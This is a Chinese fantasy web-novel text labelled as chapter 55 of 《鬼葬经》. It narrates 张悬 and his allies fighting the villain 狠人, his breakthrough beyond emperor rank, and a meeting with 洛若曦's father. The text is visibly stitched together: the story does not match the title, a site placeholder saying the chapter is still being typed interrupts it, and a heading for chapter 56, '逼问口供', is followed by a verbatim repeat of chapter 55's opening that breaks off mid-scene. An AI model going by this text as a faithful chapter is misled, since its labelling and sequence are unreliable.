《鬼葬经》 第55章 一场恶斗 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第56章 逼问口供 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! 